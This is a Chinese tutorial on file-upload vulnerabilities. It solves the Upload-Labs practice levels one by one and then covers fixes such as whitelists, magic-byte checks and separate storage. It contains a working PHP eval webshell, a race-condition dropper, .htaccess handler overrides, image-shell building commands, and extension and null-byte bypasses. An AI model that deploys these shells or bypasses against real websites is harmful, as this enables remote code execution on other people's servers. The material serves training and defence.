文件上传漏洞的利用
上传 WebShell
以下是以 PHP WebShell 为例的利用流程:
编写 WebShell:
<?php // 忽略警告信息 @eval($_POST["CMD"]); // 示例:通过 POST 请求传入 CMD=system('whoami'); 执行系统命令 ?>
- 保存为
xxx.php
。
- 保存为
寻找上传点:
- 浏览网站,定位文件上传功能(如用户头像、附件上传)。
- 使用 Burp Suite 拦截上传请求,检查服务器对文件类型的验证逻辑。
上传 WebShell:
- 上传
xx.php
,如果被拒绝,尝试修改扩展名为xxx.php.jpg
或伪造Content-Type: image/jpeg
。 - 使用工具(如 Burp Suite)修改请求,绕过前端或服务器的限制。
- 上传
定位 WebShell 路径:
- 方法一:检查上传成功后的响应,可能包含文件路径。
- 方法二:通过 F12 开发者工具查看网络请求或前端,寻找上传文件的返回路径。
- 方法三:猜测常见路径(如
/uploads/
、/files/
)。
测试 WebShell:
- 访问 WebShell。
- 使用 POST 请求发送命令(如
CMD=system('ls -al');
),验证是否可执行。 - 结合蚁剑或哥斯拉进行进一步管理。
示例截图:
靶场—Upload-Labs
Pass-01:前端过滤 🌟
特点:仅通过 JavaScript 进行前端验证,易于绕过,前端过滤是没有意义的。
绕过方法
临时修改 JavaScript:
打开浏览器开发者工具(F12),找到拦截上传的 JS 代码。
将代码复制到控制台,修改逻辑(如允许
.php
文件)或清空函数内容。修改后按回车生效。
截图示例:
- JS 代码:
- 修改允许
.php
: - 清空函数:
- JS 代码:
永久修改 JavaScript:
使用 Chrome 开发者工具的“工作区”功能:
- 创建与网站同名的文件夹。
- 在开发者工具中添加工作区文件夹。
- 启用“本地替换”功能,修改 JS 文件后保存(Ctrl+S)。
注意:具体操作可能因 Chrome 版本而异。
禁用 JavaScript:
- 在开发者工具设置中禁用 JS。
- 注意:部分网站禁用 JS 后可能无法正常访问。
截图示例:
Burp Suite 改包:
- 使用 Burp Suite 拦截上传请求。
- 修改文件扩展名为
.php
。
文件上传请求特点:
Content-Type: multipart/form-data
。Content-Type
里boundary
会和请求体对应。- 请求体中有上传的文件名、上传的文件类型、上传的文件内容。
截图示例:
- 修改扩展名:
- 上传请求包:
Pass-02:文件类型验证 🌟
特点:服务器验证文件类型,可通过抓包修改绕过。
绕过方法
- 使用 Burp Suite 拦截上传请求。
- 修改请求体中的
Content-Type
为允许的类型(如image/png
)。 - 放行请求,完成上传。
截图示例:
- 验证文件类型源码:
- 修改文件类型:
- 验证文件类型源码:
Pass-03:黑名单验证
特点:服务器设置黑名单,拦截 .php
、.asp
、.aspx
、.jsp
等文件。
绕过方法
- 开发者配置中间件时,除了常见的
.php
后缀,可能还会配置其他后缀名为 php 文件,比如.php3
、.phtml
- 尝试上传其他 PHP 解析支持的扩展名,如
.php3
、.phtml
。
Pass-04:利用 .htaccess
文件 🌟
特点:黑名单拦截更严格,常规扩展名绕过无效。
利用 .htaccess
.htaccess
是 Apache Web 服务器的一个配置文件,用于 目录级配置,允许在不修改主服务器配置(httpd.conf
)的情况下覆盖或添加特定目录的规则,如将指定文件解析为 PHP 代码。
.htaccess
是 Apache 服务器的目录级配置文件,可将指定文件解析为 PHP 代码。
上传通用
.htaccess
:SetHandler application/x-httpd-php
- 使同一目录下所有文件按 PHP 解析。
上传特定文件的
.htaccess
:<FilesMatch "eval.png"> SetHandler application/x-httpd-php </FilesMatch>
- 仅将
eval.png
解析为 PHP 代码,不会对其他文件造成影响,危害小。
- 仅将
操作步骤:
- 上传包含 PHP 代码的图片文件(如
eval.png
)。 - 上传
.htaccess
文件。 - 访问图片路径,触发 PHP 代码执行。
- 上传包含 PHP 代码的图片文件(如
截图示例:
Pass-05 至 10:Windows 系统特性
以下关卡利用 Windows 文件系统特性(如大小写不敏感、NTFS 数据流等)绕过黑名单。
Pass-05:大小写绕过
- 特点:Windows 对文件扩展名大小写不敏感。
- 绕过:上传
.PHP
文件。
06Pass-06:空格绕过
- 特点:Windows 认为
xxx.php
和xxx.php
(后缀后带空格)相同。 - 绕过:上传文件名后缀加空格(如
xxx.php空格
)。
Pass-07:点号绕过
- 特点:Windows 认为
xxx.php
和xxx.php.
相同。 - 绕过:上传
xxx.php.
。
Pass-08:NTFS 数据流
- 特点:Windows 支持 NTFS 数据流,格式为
文件名:流名:$DATA
,:$DATA
是 Windows 操作系统 NTFS 数据流,其中流名可以是空。 - 绕过:上传
xxx.php::$DATA
,访问时移除::$DATA
。
Pass-09:空格+点号
- 特点:通过在后缀创建点、空格、点绕过系统的过滤
- 绕过:上传
xxx.php. .
(点号间有空格)。
Pass-10:双写绕过
- 特点:服务器删除不合规后缀。
- 绕过:上传
xxx.pphphp
,服务器删除.pphp
后剩.php
。
Pass-11:GET 型 00 截断漏洞 🌟
- 前提:PHP 版本 < 5.3,且
magic_quotes_gpc=OFF
。 - 原理:
- 在 URL 参数的路径中添加
%00
截断符,截断后续内容。 - 例如当抓包的时候将原本的路径
../upload/
改为../upload/1.php%00
,而在 PHP 5.2 认为%00
是截断符,后面的内容会被废弃,所以文件最终保存为了../upload/1.php
。
步骤
- 使用 Burp Suite 拦截请求。
- 修改上传路径,如将
../upload/
改为../upload/1.php%00
。 - 访问
http://192.168.126.120/upload/1.php
,即将图片路径上截断符后的内容去掉即可。
截图示例:
Pass-12:POST 型 00 截断漏洞 🌟
特点:与 Pass-11 类似,但截断符在 POST 请求体中。
步骤
- 拦截 POST 请求。
- 修改请求体路径,添加
%00
(需 URL 解码为不可见字符)。 - 使用 Burp Suite 的“显示不可见字符”功能确认截断符。
- 访问网址,方式同 Pass-11
截图示例:
Pass-13 至 15:图片马 🌟
原理:将 PHP 代码嵌入图片文件,结合文件包含漏洞执行。
步骤
准备小尺寸真实图片(如 PNG)和 PHP 文件。
合并文件生成图片马:
- Windows:
copy xxx.png/b + xxxx.php/a xxxxx.png
- Linux/MacOS:
cat xxx.png xxxx.php > xxxxx.png
- Windows:
上传图片马,无法解析,网站是安全的。但是如果网站同时存在 文件包含漏洞,就能解析图片马。
截图示例:
Pass-16:二次渲染 🌟
原理:服务器对上传图片进行压缩、美化、加水印或处理,但是压缩前和压缩后,总会有没有变化的地方。
绕过:使用 GIF 图片,在不会变化的区域嵌入 WebShell。
Q:为什么不是 PNG 和 JPG?
A:因为 PNG 和 JPG 亦可,但是太复杂,GIF 格式更加简单。
步骤
- 制作抗二次渲染的 GIF 图片马。
- 上传并结合文件包含漏洞访问。
截图示例:
Pass-17:条件竞争 🌟
原理:系统处理用户上传的文件顺序为,用户先上传文件,系统再验证用户上传的文件,若文件不符合要求,则把用户上传的文件删除,因此可以利用服务器验证与删除文件之间的时间差,快速上传并访问 WebShell。
步骤
竞争上传:使用 BurpSuite intruder 模块快速不停的给目标上传文件。
优化 WebShell:
在服务器上创建一个新的 PHP 文件,并写入恶意代码。
#puteval.php <?php file_put_contents( "123.php", // 目标文件名 "<?php eval(\$_POST[cmd]);?>", // 写入的恶意代码 LOCK_EX // 文件锁定模式(防止并发写入冲突) ); ?> #file_put_contents() 函数 #作用:向文件写入内容(如果文件不存在则自动创建)。 #参数: # "123.php":要创建/写入的文件名。 # "<?php eval(\$_POST[cmd]);?>":写入的 PHP 代码。 # LOCK_EX:写入时锁定文件,避免并发冲突。
一旦访问成功该 WebShell,这个 WebShell 就会吐出一个文件
123.php
,内容是写好的一句话木马。
竞争访问:使用 BurpSuite intruder 模块快速访问要上传给目标的
puteval.php
,访问包中默认是404
,若返回 200 表示成功。访问生成的文件
123.php
,执行 WebShell。
截图示例:
- 竞争上传
- 竞争访问
- 访问成功
- 访问吐出的木马文件
文件上传漏洞的修复
白名单修复
原理:通过限制允许上传的文件后缀名和实际文件类型,确保只允许安全文件上传。
文件后缀名验证
策略:仅允许明确指定的文件后缀名(如
.gif
、.png
、.jpg
)。实现方法:
- 定义一个白名单数组,包含允许的后缀名。
- 检查上传文件的后缀名是否在白名单中,忽略大小写。
文件类型验证(魔术头检测)
策略:通过检查文件的魔术头(文件头字节),验证文件的实际类型,只允许实际类型是图片的文件上传。
常见图片文件魔术头:
- JPEG (
.jpg
,.jpeg
):FF D8 FF E0
- PNG (
.png
):89 50 4E 47
- GIF (
.gif
):47 49 46 38
- JPEG (
实现方法:
- 读取上传文件的前几个字节,比较是否与合法文件的魔术头匹配。
- 使用库(如 Python 的
imghdr
或filetype
)辅助检测。
黑名单
原理:通过拦截已知的危险文件后缀名和内容特征,阻止恶意文件上传。
后缀名黑名单
策略:拦截常见 WebShell 或可执行文件的后缀名。
常见危险后缀名:
.php
,.php3
,.phtml
,.php5
,.php7
.asp
,.aspx
.jsp
,.jspx
.htaccess
,.exe
,.sh
实现方法:
- 定义黑名单数组,检查上传文件后缀是否匹配。
- 定期更新黑名单以应对新的威胁。
- 后缀名检测,拦截
php
、.php3
、.phtml
、.htaccess
、.jsp
、.asp
等常见 WebShell 后缀名。 - 内容检测,对上传的文件具体内容做检测,看有没有 WebShell 特征(WAF 都有该防御措施)。
内容检测
策略:扫描文件内容,检测是否有 WebShell 特征(如
eval()
、system()
等危险函数)。实现方法:
- 使用正则表达式或 WAF(Web 应用防火墙)规则匹配恶意代码模式。
- 对文本文件(如
.html
、.js
)进行关键字扫描。
使用静态资源文件服务器
原理:将文件存储在专门的静态资源服务器上,避免直接解析上传文件。
策略
分离存储与执行:
- 使用独立的静态资源服务器(如 Nginx)或对象存储服务(如 AWS S3、阿里云 OSS)存储上传文件。
- 配置服务器禁用脚本解析(如 PHP、Python 等),仅提供文件下载功能。
设置 Content-Type:
- 强制设置正确的 MIME 类型(如
image/png
),避免浏览器错误解析文件。
- 强制设置正确的 MIME 类型(如
随机化文件名:
- 为上传文件生成随机文件名,防止文件名冲突或恶意文件名攻击。
限制访问权限:
- 配置存储服务的访问权限,仅允许授权用户访问。
对象存储服务(OSS)
推荐服务:
- 阿里云 OSS、AWS S3、腾讯云 COS 等。
优势:
- 高可用性和安全性。
- 内置访问控制和防盗链机制。
- 支持 CDN 加速,降低服务器负载。
实现方法:
- 使用 SDK 或 API 上传文件到 OSS。
- 返回文件的访问 URL,供前端直接访问。